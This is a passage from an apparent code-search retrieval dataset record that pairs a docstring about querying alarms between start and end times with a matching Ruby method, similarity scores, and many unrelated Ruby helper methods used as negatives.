"def count_for_target(target)\n BaseNotification.unread_count_for_target(target)\n end",
"def counts\n reply.documents[0][COUNTS]\n end",
"def count\n @mailcount = `exiqgrep -c #{@direction} #{@email} 2>/dev/null`.chomp\n end",
"def alarms(tracker_id)\n get_call(\"user/#{user_id}/devices/tracker/#{tracker_id}/alarms.json\")\n end",
"def number_of_hours\n hours_per_week = application_for_offering.hours_per_week\n return nil if hours_per_week.blank?\n hours_per_week.to_d * Activity::WEEKS_PER_QUARTER\n end",
"def count\n active_message_count || 0\n end",
"def queue_count()\n cnt = 0\n @flows.each_value { |f| cnt += f.queue_count() }\n cnt\n end",
"def number_of_events\n self.events.length\n end",
"def times\n (@times || 1).to_i\n end",
"def count\n @count\n end",
"def count\n @count\n end",
"def count\n @count\n end",
"def NumMessages\n Builtins.size(@messages)\n end",
"def mdm_enrolled_count\n return @mdm_enrolled_count\n end",
"def count\n @mutex.synchronize { @count }\n end",
"def number_of_events_happening_at(login=nil)\n count_by_frbr(login, :happens_at, :how_many_events?) \n end",
"def message_count\n to_i description['MessageCount']\n end",
"def animal_count\n @inventory.length\n end",
"def affirmation_count\n @affirmations.inject(0) do |sum, affirmation|\n sum + affirmation.affirmation_count\n end\n end",
"def count_ai_battler\n count = -1\n @battle_info.parties.each do |bank|\n count += bank.size\n end\n log_debug(\"Found #{count} AI\")\n return count\n end",
"def count\n @attributes['count']\n end",
"def number_of_hours\n return read_attribute(:number_of_hours) unless read_attribute(:number_of_hours).nil? || read_attribute(:number_of_hours).zero?\n hours_per_week.to_i * Activity::WEEKS_PER_QUARTER\n end",
"def attestation_count\n Attestation.count(['document_id = ?', id])\n end",
"def next_interval_index\n unread_notifications_since_last_read.count\n end",
"def setting_count\n return @setting_count\n end",
"def count\n @collector.count\n end",
"def exchangeMailCount\n # Init the email count to start fresh every time this is called\n total_count = 0\n\n # Get the total count of emails in the Exchange inboxes\n exchange_inbox = Array.new\n count = 0\n @exch_accounts.each do |acct|\n exchange_inbox[count] = @exch_accounts[count].inboxFolder.get\n total_count += exchange_inbox[count].unreadMessageCount\n end\n\n return total_count\n end",
"def count\n items.compact.count.to_d\n end",
"def count()\n if @count == -1\n params = @params.clone\n params['count'] = 1\n\n res = @api.do_request(\"GET\", @path, params)\n @count = res['count'].to_i\n end\n @count\n end",
"def count(resource)\n list(resource.to_s,1)[\"meta\"][\"total_count\"]\n end",
"def data_count\n @episodes.sum { |_, v| v.length }\n end",
"def orangeCount\n return @oranges\n end",
"def number_readied\n readied_cards.count\n end",
"def total_malware_count\n return @total_malware_count\n end",
"def count\n call_client(:count)\n end",
"def count_messages\n Mailboxer::Message.conversation(self).count\n end",
"def count\n to_a.size\n end",
"def count\n @count ||= 0\n @count += 1\n end",
"def message_count\n\t s = status\n\t\t\ts[:message_count]\n\t end",
"def get_all_dismantle_count\n count = 0\n groups = [$data_items, $data_armors, $data_weapons]\n for group in groups\n for obj in group\n next if obj.nil?\n count += obj.dismantle_counter\n end # for\n end # for\n return count\n end",
"def count\n @count ||= begin\n Grim.processor.count(@path)\n end\n end",
"def message_count\n get_queue_message_count(address)\n end",
"def crashed_app_count\n return @crashed_app_count\n end",
"def mailCount count_type=nil\n # Init the email count to start fresh every time this is called\n total_count = 0\n\n # Get the total count of emails in the Exchange inboxes\n exch_count = exchangeMailCount\n total_count += exch_count\n \n # Get the total count of emails in the IMAP inboxes\n imap_count = imapMailCount\n total_count += imap_count\n\n @email_count = total_count\n puts total_count\n growlNotify\n return @email_count.to_s\n end"
] | [
"0.6462344",
"0.628732",
"0.5995112",
"0.5980965",
"0.5917086",
"0.5846684",
"0.5811305",
"0.5753843",
"0.5741786",
"0.5738726",
"0.5713813",
"0.5709746",
"0.56947064",
"0.56912374",
"0.56524205",
"0.5648412",
"0.56226647",
"0.5620281",
"0.5602073",
"0.5579684",
"0.55703425",
"0.5553837",
"0.5532829",
"0.5511789",
"0.55019623",
"0.55003697",
"0.54958826",
"0.54930896",
"0.54910886",
"0.54910886",
"0.54910886",
"0.5490964",
"0.54659927",
"0.54659927",
"0.5452977",
"0.544823",
"0.54351616",
"0.5425111",
"0.5425026",
"0.5422113",
"0.5413688",
"0.54090804",
"0.54060477",
"0.5404239",
"0.5384102",
"0.5375449",
"0.53712726",
"0.5368529",
"0.5368529",
"0.5368529",
"0.53638893",
"0.53612614",
"0.53579503",
"0.5354762",
"0.5349513",
"0.5347265",
"0.5343895",
"0.5339967",
"0.5339803",
"0.53357786",
"0.5334827",
"0.533374",
"0.5329772",
"0.5315077",
"0.5305727",
"0.5300114",
"0.5300114",
"0.5300114",
"0.5299171",
"0.5298178",
"0.5298018",
"0.52966064",
"0.529111",
"0.52872026",
"0.528542",
"0.5275618",
"0.52750015",
"0.5272873",
"0.52672994",
"0.52668995",
"0.52645105",
"0.52630347",
"0.52619743",
"0.5261559",
"0.5259363",
"0.525535",
"0.52498436",
"0.52488047",
"0.52404153",
"0.5235719",
"0.5235599",
"0.5234759",
"0.5233731",
"0.5231268",
"0.52311075",
"0.52293026",
"0.52288055",
"0.5226708",
"0.52207965",
"0.52206427"
] | 0.7122949 | 0 |
Query alarms. options A Hash of options: :start A DateTime instance describing the earliest time to query history for. :end A DateTime instance describing the latest time to query history for. | def query options
from = options.fetch :start
to = options.fetch :end
query = @alarms.objects.find { |o| o.name == "query" }
filter = OBIX::Builder.new do
obj do
abstime name: "start", val: from.iso8601
abstime name: "end", val: to.iso8601
end
end.object
alarms = query.invoke filter
alarms.objects.find { |o| o.name == "data" }
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def query options\n from = options.fetch :start\n to = options.fetch :end\n\n query = @history.objects.find { |o| o.name == \"query\" }\n\n filter = OBIX::Builder.new do\n obj do\n abstime name: \"start\", val: from.iso8601\n abstime name: \"end\", val: to.iso8601\n end\n end.object\n\n history = query.invoke filter\n\n history.objects.find { |o| o.name == \"data\" }\n end",
"def query(options)\n run_command('query', options)\n end",
"def query\n begin\n response = resource[\"/query/#{app}\"].post(:days => options[:days], :url => options[:url], :mode => options[:mode])\n rescue RestClient::InternalServerError\n display \"An error has occurred.\"\n end\n display response.to_s\n end",
"def query(options={})\n from = parse_date(options[:from]).strftime('%Y-%m-%d')\n to = parse_date(options[:to]).strftime('%Y-%m-%d')\n\n response = Client.instance.request(:data,\n 'start-date' => from,\n 'end-date' => to,\n 'ids' => \"ga:#{@profile_id}\",\n 'metrics' => @metrics.join(','),\n 'dimensions' => @dimensions.join(','))\n \n\n headers = column_headers(response['columnHeaders'])\n group(response['rows'], headers)\n end",
"def find_events_in_range(start_min, start_max,options = {})\n options[:max_results] ||= 25\n options[:order_by] ||= 'lastmodified' # other option is 'starttime'\n formatted_start_min = start_min.strftime(\"%Y-%m-%dT%H:%M:%S\")\n formatted_start_max = start_max.strftime(\"%Y-%m-%dT%H:%M:%S\")\n query = \"?start-min=#{formatted_start_min}&start-max=#{formatted_start_max}&recurrence-expansion-start=#{formatted_start_min}&recurrence-expansion-end=#{formatted_start_max}\"\n query = \"#{query}&orderby=#{options[:order_by]}&max-results=#{options[:max_results]}\"\n event_lookup(query)\n end",
"def query_range(options)\n run_command('query_range', options)\n end",
"def query_scheduled_messages(options = nil)\n require_relative 'scheduledmessage'\n @api.cursor(ScheduledMessage, get_base_api_path() + \"/scheduled\", options)\n end",
"def search_time_sheet_activities(options={})\n cur_date = options[:start]\n method = 'search.messages'\n entries = []\n cnt = 0\n max_cnt = 15\n\n loop do\n fdate = cur_date.strftime('%Y-%m-%d')\n printf \"\\n>>> gathering activities for #{fdate}\"\n \n query = \"in:engineering from:me on:#{fdate}\"\n matches = self.class.get(\"/#{method}\", query: { token: @token, query: query }).tap do |response|\n printf \"v\"\n raise \"error searching for #{query} from #{method}: #{response.fetch('error', 'unknown error')}\" unless response['ok']\n end.fetch(\"messages\").fetch(\"matches\")\n\n entries.concat matches.map{|x| \n printf \".\"\n x['ts'] = DateTime.strptime(x['ts'],'%s').to_time\n {ts: x['ts'], permalink: x['permalink'], text: x['text']}\n }\n\n break unless(cnt > max_cnt or cur_date < options[:stop])\n \n cur_date += (60*60*24)\n cnt += 1\n end\n\n entries = entries.sort_by { |h| h[:ts] }\n end",
"def find_future_events(options={})\n formatted_start_min = encode_time(Time.now)\n query = \"?timeMin=#{formatted_start_min}#{parse_options(options)}\"\n event_lookup(query)\n end",
"def alarms(tracker_id, options = {})\n get_json(path_user_version(\"/devices/tracker/#{tracker_id}/alarms\", options))\n end",
"def all(options = {})\n constraints = [\n (\"SystemModstamp < #{options[:before].utc.iso8601}\" if options[:before]),\n (\"SystemModstamp >= #{options[:after].utc.iso8601}\" if options[:after]),\n *options[:conditions],\n ]\n\n DB.client.query(query(*constraints)).map do |record|\n instance_type.new(@record_type, record, @mapping)\n end\n end",
"def query(metric_name, options={})\n key = build_key(metric_name)\n parse_time_range(options)\n key << assemble_for(options)\n if options[:id]\n key = \"dnid:#{options[:id]}\"\n real_key = DulyNoted.redis.get key\n if options[:meta_fields]\n options[:meta_fields].collect! { |x| x.to_s }\n result = {}\n options[:meta_fields].each do |field|\n result[field] = DulyNoted.redis.hget real_key, field\n end\n results = [result]\n else\n results = [DulyNoted.redis.hgetall(real_key)]\n end\n else\n keys = find_keys(key)\n grab_results = Proc.new do |metric|\n if options[:meta_fields]\n options[:meta_fields].collect! { |x| x.to_s }\n result = {}\n options[:meta_fields].each do |field|\n result[field] = DulyNoted.redis.hget metric, field\n end\n result\n else\n DulyNoted.redis.hgetall metric\n end\n end\n results = []\n if options[:time_start] && options[:time_end]\n keys.each do |key|\n results += DulyNoted.redis.zrangebyscore(key, options[:time_start].to_f, options[:time_end].to_f).collect(&grab_results)\n end\n else\n keys.each do |key|\n results += DulyNoted.redis.zrange(key, 0, -1).collect(&grab_results)\n end\n end\n end\n return results\n end",
"def query(options) # :nodoc:\n @next_token = options[:next_token]\n query_expression = build_conditions(options[:query_expression])\n # add sort_options to the query_expression\n if options[:sort_option]\n sort_by, sort_order = sort_options(options[:sort_option])\n sort_query_expression = \"['#{sort_by}' starts-with '']\"\n sort_by_expression = \" sort '#{sort_by}' #{sort_order}\"\n # make query_expression to be a string (it may be null)\n query_expression = query_expression.to_s\n # quote from Amazon:\n # The sort attribute must be present in at least one of the predicates of the query expression.\n if query_expression.blank?\n query_expression = sort_query_expression\n elsif !query_attributes(query_expression).include?(sort_by)\n query_expression += \" intersection #{sort_query_expression}\"\n end\n query_expression += sort_by_expression\n end\n # request items\n query_result = self.connection.query(domain, query_expression, options[:max_number_of_items], @next_token)\n @next_token = query_result[:next_token]\n items = query_result[:items].map do |name|\n new_item = self.new('id' => name)\n new_item.mark_as_old\n reload_if_exists(record) if options[:auto_load]\n new_item\n end\n items\n end",
"def find_events_in_range(start_min, start_max, options = {})\n formatted_start_min = encode_time(start_min)\n formatted_start_max = encode_time(start_max)\n query = \"?timeMin=#{formatted_start_min}&timeMax=#{formatted_start_max}#{parse_options(options)}\"\n event_lookup(query)\n end",
"def search_time_sheet_activities(options={})\n cur_date = options[:start]\n method = 'search.messages'\n entries = []\n cnt = 0\n max_cnt = 15\n channels = (ENV['SLACK_CHANNELS'] and ENV['SLACK_CHANNELS'].split(/,/)) or ['engineering']\n\n loop do\n channels.each do |channel|\n\n fdate = cur_date.strftime('%Y-%m-%d')\n printf \"\\n>>> gathering activities for #{fdate}\"\n \n query = \"in:#{channel} from:me on:#{fdate}\"\n matches = self.class.get(\"/#{method}\", query: { token: @token, query: query }).tap do |response|\n printf \"v\"\n raise \"error searching for #{query} from #{method}: #{response.fetch('error', 'unknown error')}\" unless response['ok']\n end.fetch(\"messages\").fetch(\"matches\")\n\n entries.concat matches.map{|x| \n printf \".\"\n x['ts'] = DateTime.strptime(x['ts'],'%s').to_time\n {ts: x['ts'], permalink: x['permalink'], text: x['text']}\n }\n\n break if(cnt > max_cnt)\n cnt += 1\n end\n cur_date += (60*60*24)\n break if(cur_date > options[:stop])\n end\n\n entries = entries.sort_by { |h| h[:ts] }\n end",
"def get_query_metadata_for_account(account_id,\r\n from: nil,\r\n to: nil,\r\n min_start_time: nil,\r\n max_start_time: nil)\r\n # Prepare query url.\r\n _query_builder = config.get_base_uri(Server::VOICEDEFAULT)\r\n _query_builder << '/api/v2/accounts/{accountId}/recordings'\r\n _query_builder = APIHelper.append_url_with_template_parameters(\r\n _query_builder,\r\n 'accountId' => { 'value' => account_id, 'encode' => true }\r\n )\r\n _query_builder = APIHelper.append_url_with_query_parameters(\r\n _query_builder,\r\n 'from' => from,\r\n 'to' => to,\r\n 'minStartTime' => min_start_time,\r\n 'maxStartTime' => max_start_time\r\n )\r\n _query_url = APIHelper.clean_url _query_builder\r\n\r\n # Prepare headers.\r\n _headers = {\r\n 'accept' => 'application/json'\r\n }\r\n\r\n # Prepare and execute HttpRequest.\r\n _request = config.http_client.get(\r\n _query_url,\r\n headers: _headers\r\n )\r\n VoiceBasicAuth.apply(config, _request)\r\n _response = execute_request(_request)\r\n\r\n # Validate response against endpoint and global error codes.\r\n if _response.status_code == 400\r\n raise ApiErrorResponseException.new(\r\n 'Something\\'s not quite right... Your request is invalid. Please' \\\r\n ' fix it before trying again.',\r\n _response\r\n )\r\n elsif _response.status_code == 401\r\n raise APIException.new(\r\n 'Your credentials are invalid. Please use your Bandwidth dashboard' \\\r\n ' credentials to authenticate to the API.',\r\n _response\r\n )\r\n elsif _response.status_code == 403\r\n raise ApiErrorResponseException.new(\r\n 'User unauthorized to perform this action.',\r\n _response\r\n )\r\n elsif _response.status_code == 404\r\n raise ApiErrorResponseException.new(\r\n 'The resource specified cannot be found or does not belong to you.',\r\n _response\r\n )\r\n elsif _response.status_code == 415\r\n raise ApiErrorResponseException.new(\r\n 'We don\\'t support that media type. If a request body is required,' \\\r\n ' please send it to us as `application/json`.',\r\n _response\r\n )\r\n elsif _response.status_code == 429\r\n raise ApiErrorResponseException.new(\r\n 'You\\'re sending requests to this endpoint too frequently. Please' \\\r\n ' slow your request rate down and try again.',\r\n _response\r\n )\r\n elsif _response.status_code == 500\r\n raise ApiErrorResponseException.new(\r\n 'Something unexpected happened. Please try again.',\r\n _response\r\n )\r\n end\r\n validate_response(_response)\r\n\r\n # Return appropriate response type.\r\n decoded = APIHelper.json_deserialize(_response.raw_body)\r\n ApiResponse.new(\r\n _response,\r\n data: decoded.map { |element| RecordingMetadataResponse.from_hash(element) }\r\n )\r\n end",
"def parse_options(options) # :nodoc\n options[:max_results] ||= 25\n options[:order_by] ||= 'startTime' # other option is 'updated'\n options[:expand_recurring_events] ||= true\n query_string = \"&orderBy=#{options[:order_by]}\"\n query_string << \"&maxResults=#{options[:max_results]}\"\n query_string << \"&singleEvents=#{options[:expand_recurring_events]}\"\n query_string << \"&q=#{options[:query]}\" unless options[:query].nil?\n query_string\n end",
"def run_alarm(opts)\n sources = Sources.instance\n storage = Storage.instance\n devices = Devices.instance\n rng = Rng.new\n io = IO.instance\n player = Player.instance\n\n run_use_cli_opts(opts)\n source = run_prepare(opts, sources, devices, rng, io)\n run_download(source, storage.method, storage)\n run_play(source, devices, player, storage)\n end",
"def search_time_sheet_events(options={})\n days = {}\n method = 'search.messages'\n max_cnt = 15\n cnt = 0\n cur_date = options[:start]\n total_hours = 0.0\n\n loop do\n entries = []\n fdate = cur_date.strftime('%Y-%m-%d')\n printf \"\\n>>> processing #{fdate}\"\n \n query = \"in:engineering from:me on:#{fdate} biab\"\n matches = self.class.get(\"/#{method}\", query: { token: @token, query: query }).tap do |response|\n printf \"v\"\n raise \"error searching for #{query} from #{method}: #{response.fetch('error', 'unknown error')}\" unless response['ok']\n end.fetch(\"messages\").fetch(\"matches\")\n\n entries.concat matches.map{|x| \n printf \".\"\n x['ts'] = DateTime.strptime(x['ts'],'%s').to_time\n {state: :off, ts: x['ts'], permalink: x['permalink'], text: x['text']}\n }\n\n query = \"in:engineering from:me on:#{fdate} brb\"\n matches = self.class.get(\"/#{method}\", query: { token: @token, query: query }).tap do |response|\n printf \"v\"\n raise \"error searching for #{query} from #{method}: #{response.fetch('error', 'unknown error')}\" unless response['ok']\n end.fetch(\"messages\").fetch(\"matches\")\n\n entries.concat matches.map{|x| \n printf \".\"\n x['ts'] = DateTime.strptime(x['ts'],'%s').to_time\n {state: :off, ts: x['ts'], permalink: x['permalink'], text: x['text']}\n }\n \n query = \"in:engineering from:me on:#{fdate} back\"\n matches = self.class.get(\"/#{method}\", query: { token: @token, query: query }).tap do |response|\n printf \"v\"\n raise \"error searching for #{query} from #{method}: #{response.fetch('error', 'unknown error')}\" unless response['ok']\n end.fetch(\"messages\").fetch(\"matches\")\n\n entries.concat matches.map{|x| \n printf \".\"\n x['ts'] = DateTime.strptime(x['ts'],'%s').to_time\n {state: :on, ts: x['ts'], permalink: x['permalink'], text: x['text']}\n }\n \n query = \"in:engineering from:me on:#{fdate} good\"\n matches = self.class.get(\"/#{method}\", query: { token: @token, query: query }).tap do |response|\n printf \"v\"\n raise \"error searching for #{query} from #{method}: #{response.fetch('error', 'unknown error')}\" unless response['ok']\n end.fetch(\"messages\").fetch(\"matches\")\n\n entries.concat matches.map{|x| \n printf \".\"\n x['ts'] = DateTime.strptime(x['ts'],'%s').to_time\n state = (x['text'] =~ /evening|night/) ? :off : :on\n {state: state, ts: x['ts'], permalink: x['permalink'], text: x['text']}\n }\n\n entries = entries.sort_by { |h| h[:ts] }\n days[fdate] = {entries: entries}\n\n start_entry = nil\n last_entry = nil\n seconds = 60*15\n total_time_for_day = 0.0\n start = nil\n entries.each do |entry|\n begin\n printf \".\"\n entry[:diff] = 0\n\n if(entry[:state] == :off)\n stop = Time.at((entry[:ts].to_f / seconds).round * seconds)\n start = nil\n entry[:ts] = stop\n next unless start_entry\n\n diff = entry[:ts] - start_entry[:ts]\n start_entry[:diff] = (diff/(60*60))\n\n total_time_for_day += start_entry[:diff]\n start_entry = nil\n else\n time = Time.at((entry[:ts].to_f / seconds).round * seconds)\n entry[:ts] = time\n\n start_entry = entry if start_entry.nil?\n end\n rescue Exception => e\n puts \"Problem with entry: #{entry.inspect}\nstart_entry: #{start_entry.inspect}\n\"\n raise e\n end\n last_entry = entry\n end\n\n if(start_entry)\n today = Time.now.strftime(\"%Y%m%d\")\n process_day = start_entry[:ts].strftime(\"%Y%m%d\")\n\n if(today == process_day)\n time = Time.at((Time.now.to_f / seconds).round * seconds)\n\n diff_work = time - start_entry[:ts]\n start_entry[:diff] = diff_work/(60*60)\n total_time_for_day += start_entry[:diff]\n \n entries << {state: :pending, ts: time, text: \"still working\"}\n\n else\n entries << {state: :off, ts: last_entry[:ts], text: \"good day/evening (you never checked out?)\"}\n end\n end\n\n if entries.length > 0\n entries[entries.length-1][:diff] = 0.0 \n days[fdate][:hours] = total_time_for_day\n total_hours += days[fdate][:hours]\n printf \"=> #{days[fdate][:hours]} for day; #{total_hours} for range\"\n end\n\n break unless(cnt > max_cnt or cur_date < options[:stop])\n\n # go to next day\n cur_date += (60*60*24)\n cnt += 1\n end\n\n days[:hours] = total_hours\n report = {report: days}\n puts \"\\n>>> DONE!\"\n report\n end",
"def list(from = nil, to = Time.now, limit = 100, cursor = nil)\n raise ArgumentError unless from && to\n wf_event_id?(cursor) if cursor\n\n from = parse_time(from, true)\n to = parse_time(to, true)\n\n wf_ms_ts?(from)\n wf_ms_ts?(to)\n\n body = { earliestStartTimeEpochMillis: from,\n latestStartTimeEpochMillis: to,\n cursor: cursor,\n limit: limit }\n\n api.get('', body.cleanse)\n end",
"def index\n @logs ||= Log.where(device_id: selected_device).order(created_at: :desc)\n unless params[:start_time].blank?\n start_date = DateTime.parse(\"#{params[:start_time]} 00:00:00\")\n @logs = @logs.where(\"created_at >= :start_time\", {start_time: start_date})\n end\n\n unless params[:end_time].blank?\n end_date = DateTime.parse(\"#{params[:end_time]} 23:59:59\")\n @logs = @logs.where(\"created_at <= :end_time\", {end_time: end_date})\n end\n end",
"def collect_alarms(opts = {})\n data, _status_code, _headers = collect_alarms_with_http_info(opts)\n return data\n end",
"def by_star(start_time, end_time, options = {}, &block)\n start_time = parse(start_time) \n end_time = parse(end_time)\n\n\n raise ParseError, \"End time is before start time, searching like this will return no results.\" if end_time < start_time\n field = options.delete(:field)\n ensure_valid_options(options)\n\n scoping = { :conditions => conditions_for_range(start_time, end_time, field) }.merge(options)\n result = scoped(scoping)\n result = result.scoped(block.call) if block_given?\n result\n end",
"def query\n opinions = Decidim::Opinions::Opinion.where(component: @components)\n opinions = opinions.where(\"created_at >= ?\", @start_at) if @start_at.present?\n opinions = opinions.where(\"created_at <= ?\", @end_at) if @end_at.present?\n opinions\n end",
"def add_query(symbol, start_date, end_date, &callback)\n start_date = Date.parse(start_date) unless start_date.is_a?(Date)\n end_date = Date.parse(end_date) unless end_date.is_a?(Date)\n\n @hydra.queue(make_request(symbol, start_date, end_date, callback))\n\n true\n end",
"def query_events(params)\n events = Event.all\n\n #Allows the input and output parameters like time and date.\n if params[:date].present?\n date = params[:date].to_date\n events = events.where('date >= ?', date)\n else \n events = Event.where('date >= ?', Date.today)\n end\n\n if params[:food].present?\n if params[:food] != 'Any'\n events = events.where(food_type: params[:food])\n end\n end\n\n #allows for the selection of vegetarian options\n if params[:restrictions] == 'Vegetarian'\n events = events.where(vegetarian: true)\n end\n #allows for selection of vegan options\n if params[:restrictions] == 'Vegan'\n events = events.where(vegan: true)\n end\n\n if params[:time].present?\n \t#allows you to select the times\n events = events.where('time >= ?', params[:time])\n end\n\n events\n end",
"def future(opts={}, now = Time.now.utc)\n all({:start.gte => now}.merge(opts))\n end",
"def query_scheduled\n send(\"QUERY_GETALLSCHEDULED\")\n response = recv\n \n recording_count = response.shift.to_i\n recordings = []\n\n while recording_count > 0\n recording_array = response.slice!(0, Recording::RECORDINGS_ELEMENTS.length)\n recordings << Recording.new(recording_array, { :protocol_version => @protocol_version })\n recording_count -= 1\n end\n\n recordings = recordings.sort_by { |r| r.startts }\n recordings.reverse!\n end",
"def alarms(tracker_id)\n get_call(\"user/#{user_id}/devices/tracker/#{tracker_id}/alarms.json\")\n end",
"def search(options = {})\n self.date = options[:date] || date\n self.hd = options[:hd] || hd\n response = HTTParty.get(DEFAULT_URL, query: attributes)\n handle_response(response)\n end",
"def index\n if !time_slot_params[:start].present? && !time_slot_params[:end].present?\n @appointments = Appointment.all\n else\n #time_slot_params[:start], time_slot_params[:end]\n @appointments = Appointment.in_time_slot_only(time_slot_params).all\n end\n render :json => @appointments, :status => :ok\n end",
"def current_deals\n if params[:start_time] && params[:end_time]\n @deals = Deals.find(:all, :conditions => {:dateTime.now => start_date..end_date})\n end\n end",
"def search_time_series(params)\n begin\n \n query = \"email:gmail.com\"\n date_from = params[:from_date]#\"2013-01-01\"\n date_to = params[:to_date]#\"2013-01-02\"\n tags = params[:tags]#[\"password-reset\", \"welcome\"]\n senders = params[:senders]#[\"[email protected]\"]\n result = @mandrill.messages.search_time_series query, date_from, date_to, tags, senders\n # [{\"unique_opens\"=>42,\n # \"unsubs\"=>42,\n # \"clicks\"=>42,\n # \"time\"=>\"2013-01-01 15:00:00\",\n # \"complaints\"=>42,\n # \"rejects\"=>42,\n # \"soft_bounces\"=>42,\n # \"hard_bounces\"=>42,\n # \"sent\"=>42,\n # \"unique_clicks\"=>42,\n # \"opens\"=>42}]\n\n rescue Mandrill::Error => e\n # Mandrill errors are thrown as exceptions\n puts \"A mandrill error occurred: #{e.class} - #{e.message}\"\n # A mandrill error occurred: Mandrill::ServiceUnavailableError - Service Temporarily Unavailable\n raise\n end\n end",
"def query(*args, &bl)\n alf_connection.query(*args, &bl)\n end",
"def where(options={})\n results = []\n current_time = Time.now\n key = \"#{current_time.year}/#{current_time.month}/#{current_time.day}/#{current_time.hour}\"\n\n # Multiple compares\n if options[:machine].is_a?(String) && options[:application].is_a?(String)\n key = key + \"_\" + options[:machine]\n @@data_store.get(:logs_by_machine_and_application, key, options[:application]).each do |attribute_value|\n attribute_value[1].keys.each do |uuid|\n guid = uuid.to_guid\n attributes = @@data_store.get(:logs, key, guid)\n attributes[\"uuid\"] = guid\n results << new(attributes)\n end\n end\n # Compare\n elsif options[:machine].is_a?(String)\n @@data_store.get(:logs_by_machine, key, options[:machine]).each { |log_entry| results << parse_log_entry(log_entry) }\n elsif options[:application].is_a?(String)\n @@data_store.get(:logs_by_application, key, options[:application]).each { |log_entry| results << parse_log_entry(log_entry) }\n # Range\n elsif options[:machine].is_a?(Array)\n results = range(:logs_by_machine, key, :start => options[:machine].first, :end => options[:machine].second)\n elsif options[:application].is_a?(Array)\n results = range(:logs_by_application, key, :start => options[:application].first, :end => options[:application].second)\n elsif options[:date].is_a?(Array)\n results = range(:logs, key, :start => options[:date].first, :end => options[:date].second)\n end\n results\n end",
"def by_star(start_time, end_time, options = {})\n field = options[:field] || \"created_at\"\n scoped :conditions => { field => start_time.utc..end_time.utc }\n end",
"def query(query=nil, options={})\n options = options.symbolize_keys\n query_params = query ? options.merge({ql: query}) : options\n self.get({params: query_params })\n self\n end",
"def between(start_timestamp, end_timestamp, options={})\n request_params = {\n :started_at__gte => start_timestamp.to_i,\n :started_at__lte => end_timestamp.to_i\n }\n\n request_options = options.merge!(request_params)\n\n all(request_options)\n end",
"def list_alarms\n hash_of_alarm_hashes = {}\n response = send_alarm_message('ListAlarms')\n alarm_list_reader = Nokogiri::XML::Reader(response.to_hash[:list_alarms_response][:current_alarm_list])\n alarm_list_reader.each do |alarm_node|\n id = alarm_node.attribute('ID')\n unless id.nil?\n alarm_hash = {\n :ID => id,\n # UpdateAlarm expects 'StartLocalTime', but the ListAlarm response attribute is 'StartTime'\n :StartLocalTime => alarm_node.attribute('StartTime'),\n :Duration => alarm_node.attribute('Duration'),\n :Recurrence => alarm_node.attribute('Recurrence'),\n :Enabled => alarm_node.attribute('Enabled'),\n :RoomUUID => alarm_node.attribute('RoomUUID'),\n :PlayMode => alarm_node.attribute('PlayMode'),\n :Volume => alarm_node.attribute('Volume'),\n :IncludeLinkedZones => alarm_node.attribute('IncludeLinkedZones'),\n :ProgramURI => alarm_node.attribute('ProgramURI'),\n :ProgramMetaData => alarm_node.attribute('ProgramMetaData')\n }\n hash_of_alarm_hashes[id] = alarm_hash\n end\n end\n hash_of_alarm_hashes\n end",
"def show_q_and_a(opts={})\r\n opts[:output] = 'json'\r\n opts[:callback] = 'callback'\r\n Yahoo::Request.get(\"http://auctions.yahooapis.jp/AuctionWebService/V1/ShowQandA\", Yahoo::Api.merge(opts))\r\n end",
"def query_builder(options)\r\n parsed_options = []\r\n\r\n options.each do |key,value|\r\n case key\r\n when :offset\r\n parsed_options << \"page[offset]=#{value}\"\r\n when :limit\r\n parsed_options << \"page[limit]=#{value}\"\r\n when :sort\r\n parsed_options << \"sort=#{value}\"\r\n when :created_at_start\r\n parsed_options << \"filter[createdAt-start]=#{value}\"\r\n when :created_at_end\r\n parsed_options << \"filter[createdAt-end]=#{value}\"\r\n when :player_ids\r\n parsed_options << \"filter[playerIds]=#{value.join(',')}\"\r\n when :game_mode\r\n parsed_options << \"filter[gameMode]=#{value}\"\r\n end\r\n end\r\n\r\n if options.empty?\r\n \"/matches\"\r\n else\r\n queries = parsed_options.join(\"&\")\r\n \"/matches?#{queries}\"\r\n end\r\n end",
"def request_getopenalarm(opts={})\n opts = self.config.merge(opts)\n opts['headers'] ||= {}\n opts['method'] = 'GETOPENALARM'\n\n opts['headers']['DeviceID'] = opts['device_id'] || 1\n opts['headers']['SourceServer'] = opts['source_server'] || 1\n opts['headers']['LastOne'] = opts['last_one'] || 1\n\n ClientRequest.new(opts)\n end",
"def index\n if params[:from] && params[:to]\n @schedules = Schedule.term_between(\n Date.new(params[:from][:year].to_i, params[:from][:month].to_i, params[:from][:day].to_i),\n Date.new(params[:to][:year].to_i, params[:to][:month].to_i, params[:to][:day].to_i).tomorrow)\n else\n @schedules = Schedule.all\n end\n end",
"def index\n start_time = params[:start_time]\n end_time = params[:end_time]\n first_name = params[:first_name]\n last_name = params[:last_name]\n\n if start_time && end_time\n @appointments = Appointment.where(start_time: start_time, end_time: end_time)\n elsif start_time\n @appointments = Appointment.where(start_time: start_time)\n elsif end_time\n @appointments = Appointment.where(end_time: end_time)\n elsif first_name & last_name\n @appointments = Appointment.where(first_name: first_name, last_name: last_name)\n elsif first_name\n @appointments = Appointment.where(first_name: first_name)\n else last_name\n @appointments = Appointment.where(last_name: last_name)\n end\n\n render json: @appointments, status: 200\n end",
"def all(options = {})\n query = {}\n query[:status] = options[:status] if options[:status]\n query[:page] = options[:page] if options[:page]\n query[:updated_since] = options[:updated_since] if options[:updated_since]\n if options[:timeframe]\n query[:from] = options[:timeframe][:from]\n query[:to] = options[:timeframe][:to]\n end\n\n response = request(:get, credentials, \"/invoices\", :query => query)\n api_model.parse(response.parsed_response)\n end",
